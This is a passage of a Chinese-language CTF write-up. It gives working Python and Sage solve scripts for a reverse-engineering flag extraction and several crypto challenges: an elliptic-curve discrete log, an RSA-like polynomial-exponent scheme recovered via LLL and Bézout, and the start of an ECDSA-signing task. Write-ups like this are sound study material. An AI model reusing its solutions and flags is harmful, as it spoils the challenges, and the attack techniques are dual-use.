這段程式碼檢查 8 個字元, 即大端序的 0x74686520666C6167 = the flag 每一個可執行檔案的結構都相同, 唯獨 return v5 的值與操作有所不同, 全部手動抽出後依序會得到

1
return v5 != 0x74686520666C6167LL;
2
return v5 != 0x20666F7220746869LL;
3
return v5 != 0x73206368616C6C65LL;
4
return v5 != 0x6E67652069733A20LL;
5
return __ROR8__(v5, 24) != 0x545275454F467B35LL;
6
return v5 != 0x4354755233445F72LL;
7
return v5 != 0x3356335235335F33LL;
8
return v5 != 0x6E67314E33655231LL;
9
return __ROR8__(v5, 16) != 0x66614E675F393036LL;
10
return v5 != 0x6339313935303439LL;
11
return _byteswap_uint64(v5) >> 8 != 0xA7D3839663534LL;

其中 ROR8 與 byteswap 需要特別處理, 其他的就是大端序直接轉 ASCII 即可略寫個轉換程式碼如下

1
import struct
2

3
def ror(val, r_bits):
4
    return ((val & 0xFFFFFFFFFFFFFFFF) >> r_bits) | ((val << (64 - r_bits)) & 0xFFFFFFFFFFFFFFFF)
5

6
data = [
7
    (0x74686520666C6167, "normal"),
8
    (0x20666F7220746869, "normal"),
9
    (0x73206368616C6C65, "normal"),
10
    (0x6E67652069733A20, "normal"),
11
    (0x545275454F467B35, "ror24"), # __ROR8__(v5, 24)
12
    (0x4354755233445F72, "normal"),
13
    (0x3356335235335F33, "normal"),
14
    (0x6E67314E33655231, "normal"),
15
    (0x66614E675F393036, "ror16"), # __ROR8__(v5, 16)
16
    (0x6339313935303439, "normal"),
17
    (0xA7D3839663534,    "byteswap") # byteswap >> 8
18
]
19

20
flag = ""
21

22
for val, mode in data:
23
    if mode == "normal":
24
        flag += struct.pack('>Q', val).decode()
25
    elif mode == "ror24":
26
        actual_v5 = ror(val, 64-24)
27
        flag += struct.pack('>Q', actual_v5).decode()
28
    elif mode == "ror16":
29
        actual_v5 = ror(val, 64-16)
30
        flag += struct.pack('>Q', actual_v5).decode()
31
    elif mode == "byteswap":
32
        temp = struct.pack('>Q', val << 8)[:7]
33
        flag += temp[::-1].decode()
34

35
print(flag)

輸出為 the flag for this challenge is: EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}

所以 flag 就是

EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}

Structured - Large

Solver : 此情吳計可消除

就出來惹

Crypto

catcat’s message

Solver : 此情吳計可消除

題目給定prime field：

E/\mathbb{F}_p:\quad y^2 = x^3 + 1 \pmod p

輸出只有 (x)，但曲線方程讓我們可得：

y^2 \equiv x^3+1 \pmod p \Rightarrow y \equiv \sqrt{x^3+1} \pmod p

所以同一個 x 對應兩個點 ((x,y)) 與 ((x,-y))。

1
import sympy as sp
2

3
def lift_point_from_x(x, p):
4
    rhs = (pow(x, 3, p) + 1) % p
5
    y = sp.sqrt_mod(rhs, p, all_roots=False)  # 取任一平方根
6
    if y is None:
7
        raise ValueError("x not on curve")
8
    return (x % p, int(y))  # 另一個點是 (x, -y mod p)

用 CM 計算 $(\#E(\mathbb{F}_p))$

對 $(y^2=x^3+1$ )（ $(j=0$ )）的曲線，可用（CM找到：

p = a^2 + 3b^2

並得到 $(t = pm 2a)$ ，so：

\#E(\mathbb{F}_p) = p + 1 - t

直接試哪個 n 讓 $(nP=\mathcal{O})$ 就好惹。

1
import sympy as sp
2
import math
3

4
def cornacchia_prime(D, p):
5
    # 找 x^2 + D y^2 = p 的 (x,y)
6
    r = sp.sqrt_mod((-D) % p, p, all_roots=False)
7
    a, b = p, int(r)
8
    while b*b > p:
9
        a, b = b, a % b
10
    x = b
11
    y2 = (p - x*x) // D
12
    y = math.isqrt(y2)
13
    return x, y
14

15
# p = a^2 + 3 b^2
16
a_cm, b_cm = cornacchia_prime(3, p)
17

18
n1 = p + 1 - 2*a_cm
19
n2 = p + 1 + 2*a_cm

若已知 $(n=\#E(\mathbb{F}_p))$ ，接著把 $(ord(P)\) 分解出 \(2^{46})$ ：

ord(P)=2^{46}\cdot \text{(odd part)}

定義

H=\frac{ord(P)}{2^{46}}

那麼對任何點 (R)

R_2 = H\cdot R

會落在 $(2^{46})$ 的子群中。

1
def ec_add(Pt, Qt, p):
2
    if Pt is None: return Qt
3
    if Qt is None: return Pt
4
    x1,y1 = Pt; x2,y2 = Qt
5
    if x1 == x2:
6
        if (y1 + y2) % p == 0:
7
            return None
8
        lam = (3*x1*x1) * pow(2*y1, -1, p) % p
9
    else:
10
        lam = (y2 - y1) * pow((x2 - x1) % p, -1, p) % p
11
    x3 = (lam*lam - x1 - x2) % p
12
    y3 = (lam*(x1 - x3) - y1) % p
13
    return (x3,y3)
14

15
def ec_mul(k, Pt, p):
16
    R = None
17
    Q = Pt
18
    while k:
19
        if k & 1:
20
            R = ec_add(R, Q, p)
21
        Q = ec_add(Q, Q, p)
22
        k >>= 1
23
    return R
24

25
def point_order(Pt, n, factor_dict, p):
26
    # n 已分解成 factor_dict={q:e}
27
    ord_ = n
28
    for q,e in factor_dict.items():
29
        for _ in range(e):
30
            cand = ord_ // q
31
            if ec_mul(cand, Pt, p) is None:
32
                ord_ = cand
33
            else:
34
                break
35
    return ord_
36

37
import sympy as sp
38
fac = sp.factorint(n, limit=10**6)
39
orderP = point_order(P, n, fac, p)
40

41
m = 46
42
ord2 = 2**m
43
H = orderP // ord2
44

45
P2 = ec_mul(H, P, p)
46
Q2 = ec_mul(H, Q, p)

投影後，所有輸出點 $(R_2)$ 都在同一個 2 次冪群裡，並且可表示為：

R_2 = c\cdot P_2 + d\cdot Q_2 \quad (\bmod\ 2^{46})

我們要從 $(R_2)$ 反推出 $((c,d)\)（mod \(2^{46})）$

逐個擊破

在 $(2^m)$ 中，用 (2)-torsion 可抽出每個 bit：

A = 2^{m-1}P_2,\quad B = 2^{m-1}Q_2

則 (A,B) 都是 order 2 的點，且集合：

\{\mathcal{O}, A, B, A+B\}

恰對應 $((c_i,d_i)\in\{0,1\}^2)$ 的四種情況。

對第 i 個 bit，我們看：

S_i =2^{m-1-i}\cdot\left(R_2 - \sum_{j<i}(c_j2^jP_2+d_j2^jQ_2)\right) \in\{\mathcal{O},A,B,A+B\}

由 $(S_i)$ 落在哪個點，就能決定 $((c_i,d_i))$ 。

1
P_pows = [P2]
2
Q_pows = [Q2]
3
for _ in range(1, m):
4
    P_pows.append(ec_add(P_pows[-1], P_pows[-1], p))  # *2
5
    Q_pows.append(ec_add(Q_pows[-1], Q_pows[-1], p))  # *2
6

7
A = P_pows[m-1]
8
B = Q_pows[m-1]
9
C = ec_add(A, B, p)
10

11
def dlog_2power_basis(T):
12
    # (c,d) mod 2^m , T = cP2 + dQ2
13
    c = d = 0
14
    S = None
15
    for i in range(m):
16
        # R = T - S
17
        if S is None:
18
            R = T
19
        else:
20
            R = ec_add(T, (S[0], (-S[1])%p), p)
21

22
        # Sbit = 2^(m-1-i) * R
23
        Sbit = R
24
        for _ in range(m-1-i):
25
            Sbit = ec_add(Sbit, Sbit, p)
26

27
        if Sbit is None:
28
            ci, di = 0, 0
29
        elif Sbit == A:
30
            ci, di = 1, 0
31
        elif Sbit == B:
32
            ci, di = 0, 1
33
        elif Sbit == C:
34
            ci, di = 1, 1
35

36
        if ci:
37
            c |= (1<<i)
38
            S = ec_add(S, P_pows[i], p)
39
        if di:
40
            d |= (1<<i)
41
            S = ec_add(S, Q_pows[i], p)
42
    return c, d

輸出只有 x，所以 lift 出來的點可能是 $(R)$ 或 $(-R)$
投影後也會變成：

H\cdot(-R)=-(H\cdot R) \Rightarrow (c,d)\mapsto(-c,-d)\ (\bmod 2^{46})

因此你對每個 x 算出一組 $(c,d)$ 後，要同時考慮：

(c,d)\ \text{或}\ (-c\bmod 2^{46}, -d\bmod 2^{46})

1
M = 2**46
2

3
def coeffs_from_x(x):
4
    R = lift_point_from_x(x, p)
5
    R2 = ec_mul(H, R, p)
6
    c, d = dlog_2power_basis(R2)
7
    return (c % M, d % M), ((-c) % M, (-d) % M)

chal.py有兩個多項式

P(m)=\sum_{k=0}^{7} a_k m^k,\quad Q(m)=\sum_{k=0}^{7} b_k m^k \quad (\bmod 2^{46})

1
def poly_eval(coeffs, x, mod):
2
    r = 0
3
    for c in reversed(coeffs):
4
        r = (r * x + c) % mod
5
    return r

每個 bit 會產生兩個輸出點 $(R_1, R_2)$ ，其在 $(2^{46}$ )

bit = 1：會看到某兩個位置等於 $(P(m)$ ) 與 $(Q(m)$ )（模 $(2^{46}$ )）
bit = 0：那兩個位置被隨機 $(u$ )，幾乎不可能同時對上同一個 (m)

所以對每個 bit，

\exists m\in\mathbb{Z}/2^{46}\mathbb{Z} \quad\text{s.t.}\quad P(m)\equiv c^\star,\ \ Q(m)\equiv d^\star \pmod{2^{46}}

直接在 (2^{46}) 全搜不可能，所以逐步 lift：

1
def has_solution_for_targets(ct, dt, coeffP, coeffQ, start_bits=12, m_bits=46):
2
    mod0 = 2**start_bits
3
    ct0, dt0 = ct % mod0, dt % mod0
4

5
    sols = []
6
    for x in range(mod0):
7
        if poly_eval(coeffP, x, mod0) == ct0 and poly_eval(coeffQ, x, mod0) == dt0:
8
            sols.append(x)
9
    if not sols:
10
        return False
11

12
    cur_bits = start_bits
13
    while cur_bits < m_bits:
14
        next_bits = cur_bits + 1
15
        modn = 2**next_bits
16
        ctn, dtn = ct % modn, dt % modn
17
        step = 2**cur_bits
18

19
        new = []
20
        for x in sols:
21
            if poly_eval(coeffP, x, modn) == ctn and poly_eval(coeffQ, x, modn) == dtn:
22
                new.append(x)
23
            x1 = x + step
24
            if poly_eval(coeffP, x1, modn) == ctn and poly_eval(coeffQ, x1, modn) == dtn:
25
                new.append(x1)
26

27
        if not new:
28
            return False
29
        sols = list(set([v % modn for v in new]))
30
        cur_bits = next_bits
31

32
    return True

solve,py

1
import sympy as sp
2
import math
3
from pathlib import Path
4

5
p = 258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177
6

7
P = (
8
    211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288,
9
    242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082
10
)
11
Q = (
12
    141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593,
13
    21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591
14
)
15

16

17
coeffP = [
18
    220273362144208970479265455330337458917043647417072292667607653673224970006747007341371609183229917395181118430820,
19
    250210421739490121280267358806528070202074006488405548116408889541562281570437524908655234300295156558260644714790,
20
    232701688844828316746402724793237178717464441244532163700038748140038967163962591066546062836475323177856883965170,
21
    21725422740459928990591308588258432180565692590248212021408656855315251472837770646928856382097832397887844336884,
22
    31838373662325139580926902452637696183043785768442789736602748197181912878103291332207751350605297251672800447952,
23
    91064528951076613265720743351539296774527279629238715675150132217418711139411039580553128030185345691325519935046,
24
    84164703558004000847171599254942386241373795544353150531373272670049397760530800008840197737820366466346314691162,
25
    3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000
26
]
27
coeffQ = [
28
    143491234406688723416490898601225309678343916741387556923054435686233973323559376474177051270543031936592520011397,
29
    233302413192532175819496609029797143533434993955387323269458143291245908014630929176027926621738749425901291228018,
30
    180776214508546762217902706989924469079606298223767170020347719086675964795206127649700412230279249284690008979158,
31
    65176268221379786971773925764775296541697077770744636064225970565945754418513311940786569146293497193663533010652,
32
    95515120986975418742780707357913088549131357305328369209808244591545738634309873996623254051815891755018401343856,
33
    14529160840260745786509496359724356787188326132801486485566133985535665069892295966690495950982676949536238346962,
34
    252494110674012002541514797764827158724121386633059451594119818010148193281592400026520593213461099399038944073486,
35
    10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000
36
]
37

38
def poly_eval(coeffs, x, mod):
39
    res = 0
40
    for c in reversed(coeffs):
41
        res = (res * x + c) % mod
42
    return res
43

44
def ec_neg(Pt):
45
    if Pt is None: return None
46
    x,y = Pt
47
    return (x, (-y) % p)
48

49
def ec_add(Pt, Qt):
50
    if Pt is None: return Qt
51
    if Qt is None: return Pt
52
    x1,y1 = Pt
53
    x2,y2 = Qt
54
    if x1 == x2:
55
        if (y1 + y2) % p == 0:
56
            return None
57
        # double
58
        lam = (3*x1*x1) * pow(2*y1, -1, p) % p
59
    else:
60
        lam = (y2 - y1) * pow((x2 - x1) % p, -1, p) % p
61
    x3 = (lam*lam - x1 - x2) % p
62
    y3 = (lam*(x1 - x3) - y1) % p
63
    return (x3,y3)
64

65
def ec_sub(Pt, Qt):
66
    return ec_add(Pt, ec_neg(Qt))
67

68
def jacobian_from_affine(Pt):
69
    if Pt is None:
70
        return (1,1,0)
71
    x,y = Pt
72
    return (x%p, y%p, 1)
73

74
def jacobian_neg(Pt):
75
    X,Y,Z = Pt
76
    if Z == 0: return Pt
77
    return (X, (-Y) % p, Z)
78

79
def jacobian_double(Pt):
80
    X1,Y1,Z1 = Pt
81
    if Z1 == 0 or Y1 == 0:
82
        return (1,1,0)
83
    A = (X1*X1) % p
84
    B = (Y1*Y1) % p
85
    C = (B*B) % p
86
    D = (2 * ((X1 + B)**2 - A - C)) % p
87
    E = (3 * A) % p
88
    F = (E*E) % p
89
    X3 = (F - 2*D) % p
90
    Y3 = (E*(D - X3) - 8*C) % p
91
    Z3 = (2*Y1*Z1) % p
92
    return (X3, Y3, Z3)
93

94
def jacobian_add(Pt, Qt):
95
    X1,Y1,Z1 = Pt
96
    X2,Y2,Z2 = Qt
97
    if Z1 == 0: return Qt
98
    if Z2 == 0: return Pt
99

100
    Z1Z1 = (Z1*Z1) % p
101
    Z2Z2 = (Z2*Z2) % p
102
    U1 = (X1*Z2Z2) % p
103
    U2 = (X2*Z1Z1) % p
104
    S1 = (Y1 * Z2 * Z2Z2) % p
105
    S2 = (Y2 * Z1 * Z1Z1) % p
106
    H = (U2 - U1) % p
107
    R = (S2 - S1) % p
108
    if H == 0:
109
        if R == 0:
110
            return jacobian_double(Pt)
111
        return (1,1,0)
112

113
    HH = (H*H) % p
114
    HHH = (H*HH) % p
115
    U1HH = (U1*HH) % p
116
    X3 = (R*R - HHH - 2*U1HH) % p
117
    Y3 = (R*(U1HH - X3) - S1*HHH) % p
118
    Z3 = (H*Z1*Z2) % p
119
    return (X3, Y3, Z3)
120

121
def jacobian_eq(Pt, Qt):
122
    X1,Y1,Z1 = Pt
123
    X2,Y2,Z2 = Qt
124
    if Z1 == 0 and Z2 == 0:
125
        return True
126
    if Z1 == 0 or Z2 == 0:
127
        return False
128
    Z1Z1 = (Z1*Z1) % p
129
    Z2Z2 = (Z2*Z2) % p
130
    U1 = (X1*Z2Z2) % p
131
    U2 = (X2*Z1Z1) % p
132
    if U1 != U2:
133
        return False
134
    S1 = (Y1 * Z2 * Z2Z2) % p
135
    S2 = (Y2 * Z1 * Z1Z1) % p
136
    return S1 == S2
137

138
def jacobian_mul(k, P_aff):
139
    if k == 0 or P_aff is None:
140
        return (1,1,0)
141
    Q = jacobian_from_affine(P_aff)
142
    R = (1,1,0)
143
    while k:
144
        if k & 1:
145
            R = jacobian_add(R, Q)
146
        Q = jacobian_double(Q)
147
        k >>= 1
148
    return R
149

150
def cornacchia_prime(D, p_):
151
    r = sp.sqrt_mod((-D) % p_, p_, all_roots=False)
152
    a_, b_ = p_, int(r)
153
    while b_*b_ > p_:
154
        a_, b_ = b_, a_ % b_
155
    x = b_
156
    y2 = (p_ - x*x) // D
157
    y = math.isqrt(y2)
158
    if y*y == y2:
159
        return x, y
160

161
a_cm, b_cm = cornacchia_prime(3, p)
162
n = p + 1 - 2*a_cm
163

164
fac = sp.factorint(n, limit=10**6)
165

166
def ec_mul_aff(k, Pt):
167
    R = None
168
    Q = Pt
169
    while k:
170
        if k & 1:
171
            R = ec_add(R, Q)
172
        Q = ec_add(Q, Q)
173
        k >>= 1
174
    return R
175

176
def point_order(Pt, n_, factors):
177
    ord_ = n_
178
    for q,e in factors.items():
179
        for _ in range(e):
180
            cand = ord_ // q
181
            if ec_mul_aff(cand, Pt) is None:
182
                ord_ = cand
183
            else:
184
                break
185
    return ord_
186

187
orderP = point_order(P, n, fac)
188
ord2 = 2**46
189
H = orderP // ord2
190

191
P2j = jacobian_mul(H, P)
192
Q2j = jacobian_mul(H, Q)
193

194
m = 46
195
P_pows = [P2j]
196
Q_pows = [Q2j]
197
for _ in range(1, m):
198
    P_pows.append(jacobian_double(P_pows[-1]))
199
    Q_pows.append(jacobian_double(Q_pows[-1]))
200

201
A_j = P_pows[m-1]           # 2^45 P2
202
B_j = Q_pows[m-1]           # 2^45 Q2
203
C_j = jacobian_add(A_j,B_j)
204
O_j = (1,1,0)
205

206
def dlog_2power_basis_jac(Tj):
207
    a=b=0
208
    Sj = O_j
209
    for i in range(m):
210
        Rj = jacobian_add(Tj, jacobian_neg(Sj))
211
        Sbit = Rj
212
        for _ in range(m-1-i):
213
            Sbit = jacobian_double(Sbit)
214

215
        if jacobian_eq(Sbit, O_j):
216
            da=db=0
217
        elif jacobian_eq(Sbit, A_j):
218
            da,db=1,0
219
        elif jacobian_eq(Sbit, B_j):
220
            da,db=0,1
221
        elif jacobian_eq(Sbit, C_j):
222
            da,db=1,1
223

224
        if da:
225
            a |= (1<<i)
226
            Sj = jacobian_add(Sj, P_pows[i])
227
        if db:
228
            b |= (1<<i)
229
            Sj = jacobian_add(Sj, Q_pows[i])
230
    return a,b
231

232
def lift_point_from_x(x):
233
    rhs = (pow(x,3,p) + 1) % p
234
    y = sp.sqrt_mod(rhs, p, all_roots=False)
235
    return (x % p, int(y))
236

237
def coeffs_from_x(x):
238
    R_aff = lift_point_from_x(x)
239
    Tj = jacobian_mul(H, R_aff)
240
    return dlog_2power_basis_jac(Tj)
241

242
def has_solution_for_targets(ct, dt, start_bits=12, m_bits=46):
243
    mod0 = 2**start_bits
244
    ct0 = ct % mod0
245
    dt0 = dt % mod0
246
    sols = []
247
    for x in range(mod0):
248
        if poly_eval(coeffP, x, mod0)==ct0 and poly_eval(coeffQ, x, mod0)==dt0:
249
            sols.append(x)
250
    if not sols:
251
        return False
252

253
    cur_bits = start_bits
254
    while cur_bits < m_bits:
255
        next_bits = cur_bits + 1
256
        modn = 2**next_bits
257
        ctn = ct % modn
258
        dtn = dt % modn
259
        step = 2**cur_bits
260
        new = []
261
        for x in sols:
262
            if poly_eval(coeffP, x, modn)==ctn and poly_eval(coeffQ, x, modn)==dtn:
263
                new.append(x)
264
            x1 = x + step
265
            if poly_eval(coeffP, x1, modn)==ctn and poly_eval(coeffQ, x1, modn)==dtn:
266
                new.append(x1)
267
        if not new:
268
            return False
269
        sols = list(set([v % modn for v in new]))
270
        cur_bits = next_bits
271
    return True
272

273
lines = Path("output.txt").read_text().splitlines()
274
hex_lines = [l.strip() for l in lines if l.strip().startswith("0x")]
275
xs = [int(h,16) for h in hex_lines]
276
assert len(xs) % 2 == 0
277
M = 2**46
278

279
coeffs = [coeffs_from_x(x) for x in xs]
280

281
bits = []
282
for i in range(len(coeffs)//2):
283
    c1,d1 = coeffs[2*i]
284
    c2,d2 = coeffs[2*i+1]
285

286
    ok = False
287
    for d_candidate in [d1 % M, (-d1) % M]:
288
        for c_candidate in [c2 % M, (-c2) % M]:
289
            if has_solution_for_targets(c_candidate, d_candidate):
290
                ok = True
291
                break
292
        if ok:
293
            break
294
    bits.append(1 if ok else 0)
295

296
out = []
297
for i in range(0, len(bits), 8):
298
    v = 0
299
    for j in range(8):
300
        v = (v<<1) | bits[i+j]
301
    out.append(v)
302

303
flag = bytes(out).decode("utf-8")
304
print(flag)

1
[13:37:59] ~/Downloads/dist-cat-msg-e482eab1511b4889458608cd55a10d0276fade1c ➜ /usr/local/bin/python3 /Users/yih_0118/Downloads/dist-cat-msg-e482eab1511b4889458608cd55a10d0276fade1
2
c/solve.py
3
EOF{cats_dont_like_you_for_breaking_their_meowderful_scheme_...🐈⚔🐈}

65537

Solver : 此情吳計可消除

對於一個 $d=36$ 次多項式 $f(x)$

1
# M[j][i] = i^j，尋找 u 使得 M * u = 0
2
M = Matrix(ZZ, DEGREE + 1, N_POINTS)
3
for j in range(DEGREE + 1):
4
    for i in range(N_POINTS):
5
        M[j, i] = i**j
6

7
K = M.right_kernel()
8
basis = K.basis_matrix()
9

10
# 2.  LLL
11
basis_reduced = basis.LLL()
12

13
# 3. 計算 n
14
diff = | prod(pos) - prod(neg) |
15
n = GCD(diff1, diff2)

可以用巴貝奇定理或是整數域分段 gcd + lll 還原 $n$ 解題時用的是後面的, 程式碼大概如此

1
def solve_with_res_minus_one():
2
    N_big = n_clean
3
    # LLL 結果矩陣需要轉換成行向量列表
4
    rows = short_vectors.rows()
5

6
    print(f"[*] 分析 {len(rows)} 個 LLL 短向量...")
7

8
    current_best_n = N_big
9

10
    for idx, v in enumerate(rows):
11
        pos, neg = 1, 1
12

13
        # 在模 N_big 下計算，這能確保數值不爆炸
14
        # 同時 (pos - neg) % n 依然會是 0
15
        for i, p in enumerate(v):
16
            if p > 0:
17
                pos = (pos * pow(int(cs[i]), int(p), N_big)) % N_big
18
            elif p < 0:
19
                neg = (neg * pow(int(cs[i]), int(-p), N_big)) % N_big
20

21
        # 理論：pos \equiv neg (mod n)
22
        # 因此 (pos - neg) % N_big 必然含有 n 這個因子
23
        diff = (pos - neg) % N_big
24

25
        if diff == 0:
26
            continue
27

28
        # 進行 GCD 縮減
29
        new_n = gcd(current_best_n, diff)
30

31
        # 移除常見小因子
32
        for p in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:
33
            while new_n > 1 and new_n % p == 0:
34
                new_n //= p
35

36
        if new_n == 1:
37
            # 如果縮減到 1，代表這組向量不具備公因數資訊，保持原狀
38
            continue
39

40
        current_best_n = new_n
41
        print(f"[向量 {idx:2d}] 當前縮減長度: {current_best_n.bit_length()} bits")
42

43
        # 判定是否達到目標
44
        if 1300 <= current_best_n.bit_length() <= 1320:
45
            print("-" * 40)
46
            print(f"[!] 成功鎖定真正的 n: {current_best_n}")
47
            return current_best_n
48

49
    return current_best_n
50

51
# 執行
52
final_real_n = solve_with_res_minus_one()

輸出:

1
[*] 正在分析 50 個 LLL 短向量...
2

3
[向量  3] 當前縮減長度: 1779 bits
4

5
[向量  5] 當前縮減長度: 1779 bits
6

7
[向量  6] 當前縮減長度: 1779 bits
8

9
[向量  7] 當前縮減長度: 1779 bits
10

11
[向量  8] 當前縮減長度: 1779 bits
12

13
[向量  9] 當前縮減長度: 1309 bits
14

15
----------------------------------------
16

17
[!] 成功鎖定真正的 n: 10850218348849388184435839628926643887136150328576801864491695172926404197571570385939626289500386832511402210498393679618152065868746502857101558394210162242772577854755935729867785192549043290755536804070935808559487602145906062653872704574131013288989225871928399716107298421266694464764949626094347467338293230326188948478771610969844826976259603642310765553072611629632109802126514549219571

有了 $n$ ，目標是找到一組重 $w$ ，使得 $x_i$ 的冪次組合後，只保留第 $k$ 項係數 $a_k$ ： $\sum_{i} w_i \cdot f(x_i) = C \cdot a_k$

由於係數 $a_k$ 很小 ( $< 65537$ )，可以用 MITM 攻擊來確定係數的比例關係。對於基準項 $M_0$ 和目標項 $M_k$ ：

$M_k \equiv \prod c_i^{w_i} \equiv m^{C \cdot a_k} \pmod n$

求出所有 $a_k$ 相對於 $a_0$ 的比例後，利用分母的最小公倍數 (LCM) 還原整數係數。

1
# V 是范德蒙矩陣
2
VT = V.transpose()
3
target = vector(QQ, [0]*DEGREE + [0])
4
target[k] = 1
5
w_rat = VT.solve_right(target) # w * V = e_k
6

7
# M_k ~ m^(C * a_k) mod n
8

9
# 尋找 x, y 使得 M0^x = Mk^y
10
lookup = {}
11
for i in range(1, LIMIT):
12
    lookup[pow(M0, i, n)] = i # 存表
13

14
for j in range(1, LIMIT):
15
    val = pow(Mk, j, n)
16
    if val in lookup:
17
        x = lookup[val]
18
        y = j
19
        # 發現關係: a0 * x = ak * y
20
        # ak = a0 * (x/y)
21
        break

一旦完全恢復了多項式 $f(x)$ ，我們可以計算每個 $x_i$ 對應的指數 $e_i = f(x_i)$ 。

計算所有指數的最大公因數： $g = \text{GCD}(e_0, e_1, \dots, e_{86})$ 根據貝祖定理，存在整數 $v_i$ 使得： $\sum v_i e_i = g$

利用擴展歐幾里得算法求出 $v_i$ ，然後組合密文：

$\prod c_i^{v_i} \equiv m^{\sum v_i e_i} \equiv m^g \pmod n$

通常情況下 $g=1$ ，直接得到 $m$ 。如果 $g>1$ ，則需要開 $g$ 次方根。

1
exponents = []
2
for i in range(N_POINTS):
3
    val = 0
4
    for c in reversed(coeffs):
5
        val = val * xs[i] + c
6
    exponents.append(val)
7

8
# 求解貝祖係數 v_i
9
# sum(v_i * e_i) = g
10
coeffs_m = [0] * N_POINTS
11
curr_g = exponents[0]
12
coeffs_m[0] = 1
13

14
for i in range(1, N_POINTS):
15
    new_g, a, b = xgcd(curr_g, exponents[i])
16
    for j in range(i): coeffs_m[j] *= a
17
    coeffs_m[i] = b
18
    curr_g = new_g
19

20
# 恢復明文 m
21
m = 1
22
for i in range(N_POINTS):
23
    term = pow(cs[i], abs(coeffs_m[i]), n)
24
    if coeffs_m[i] > 0:
25
        m = (m * term) % n
26
    else:
27
        m = (m * inverse_mod(term, n)) % n

solve.py

1
import sys
2
from sage.all import *
3

4
sys.set_int_max_str_digits(1000000000)
5

6
def get_data():
7
    with open('output.txt', 'r') as f:
8
        content = f.read().strip()
9
        content = content.replace('\n', '').replace(' ', '')
10
        if '[' in content:
11
            start = content.find('[')
12
            end = content.rfind(']') + 1
13
            content = content[start:end]
14
        cs_str = content[1:-1].split(',')
15
        cs = [Integer(x) for x in cs_str if x]
16
        return cs
17

18
def solve():
19
    cs = get_data()
20
    N_POINTS = len(cs)
21
    DEGREE = 36
22

23
    n_str = "10850218348849388184435839628926643887136150328576801864491695172926404197571570385939626289500386832511402210498393679618152065868746502857101558394210162242772577854755935729867785192549043290755536804070935808559487602145906062653872704574131013288989225871928399716107298421266694464764949626094347467338293230326188948478771610969844826976259603642310765553072611629632109802126514549219571"
24
    n = Integer(n_str)
25
    print(f"n: {n.nbits()} bits")
26

27
    BASE_X = 65537
28
    xs = [BASE_X + i for i in range(N_POINTS)]
29

30
    V = Matrix(QQ, N_POINTS, DEGREE + 1)
31
    for i in range(N_POINTS):
32
        for j in range(DEGREE + 1):
33
            V[i, j] = xs[i] ** j
34
    VT = V.transpose()
35

36
    def get_isolated_base(idx):
37
        target = vector(QQ, [0]*DEGREE + [0])
38
        target[idx] = 1
39
        try:
40
            w_rat = VT.solve_right(target)
41
            denom = LCM([x.denominator() for x in w_rat])
42
            w = [Integer(x * denom) for x in w_rat]
43

44
            res = 1
45
            for i, exp in enumerate(w):
46
                if exp == 0: continue
47
                term = pow(cs[i], abs(exp), n)
48
                if exp > 0: res = (res * term) % n
49
                else: res = (res * inverse_mod(term, n)) % n
50
            return res, denom
51
        except: return None, None
52

53
    M0_raw, C0 = get_isolated_base(0)
54

55
    ratios = {0: (1, 1)}
56
    for k in range(1, DEGREE + 1):
57
        Mk_raw, Ck = get_isolated_base(k)
58

59
        C_new = LCM(C0, Ck)
60

61
        M0_adj = pow(M0_raw, C_new // C0, n)
62
        Mk_adj = pow(Mk_raw, C_new // Ck, n)
63

64
        lookup = {}
65
        curr = 1
66
        limit = 70000
67
        for i in range(1, limit):
68
            curr = (curr * M0_adj) % n
69
            lookup[curr] = i
70

71
        curr_k = 1
72
        for j in range(1, limit):
73
            curr_k = (curr_k * Mk_adj) % n
74
            if curr_k in lookup:
75
                x = lookup[curr_k]
76
                y = j
77
                g = GCD(x, y)
78
                ratios[k] = (x // g, y // g)
79
                print(f"a{k} = a0 * ({ratios[k][0]}/{ratios[k][1]})")
80
                found_ratio = True
81
                break
82

83

84
    denoms = [r[1] for r in ratios.values()]
85
    lcm_denom = LCM(denoms)
86

87
    a0_final = lcm_denom
88
    coeffs = []
89
    for k in range(DEGREE + 1):
90
        num, den = ratios[k]
91
        val = a0_final * num // den
92
        coeffs.append(val)
93

94
    # print(f"{coeffs}")
95
    exponents = []
96
    for i in range(N_POINTS):
97
        val = 0
98
        x_val = xs[i]
99
        for c in reversed(coeffs):
100
            val = val * x_val + c
101
        exponents.append(val)
102

103
    g_exp = exponents[0]
104
    for e in exponents: g_exp = GCD(g_exp, e)
105

106
    print(f"{g_exp}")
107

108
    coeffs_m = [0] * N_POINTS
109
    coeffs_m[0] = 1
110
    curr_g = exponents[0]
111

112
    for i in range(1, N_POINTS):
113
        new_g, a, b = xgcd(curr_g, exponents[i])
114
        for j in range(i): coeffs_m[j] *= a
115
        coeffs_m[i] = b
116
        curr_g = new_g
117
        if curr_g == g_exp: break
118

119
    m = 1
120
    for i in range(N_POINTS):
121
        if coeffs_m[i] == 0: continue
122
        term = pow(cs[i], abs(coeffs_m[i]), n)
123
        if coeffs_m[i] > 0: m = (m * term) % n
124
        else: m = (m * inverse_mod(term, n)) % n
125

126
    if g_exp != 1:
127
        try:
128
            m = m.nth_root(g_exp)
129
        except:
130
            pass
131

132

133
    from Crypto.Util.number import long_to_bytes
134
    flag = long_to_bytes(int(m))
135
    print(f"\n{flag.decode()}")
136

137
if __name__ == "__main__":
138
    solve()

Flag: EOF{https://www.youtube.com/watch?v=hyvPxeLx_Yg}

dogdog’s Proof

Solver : 此情吳計可消除

題目有三個功能：

wowoof：吐出一個 ticket 數字
wowooF：對給定訊息做 ECDSA-like 簽章，回傳 (r,s)（但禁止訊息含 i_am_the_king_of_the_dog）
wowoOf：驗證你提供的 (r,s,msg)；若驗證通過且 msg 內含 i_am_the_king_of_the_dog 就給 flag

1
from random import getrandbits
2
from hashlib import sha256
3
import os
4
from tinyec import registry
5
from secrets import randbelow
6

7
curve = registry.get_curve('secp256r1')
8
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
9
G = curve.g
10

11
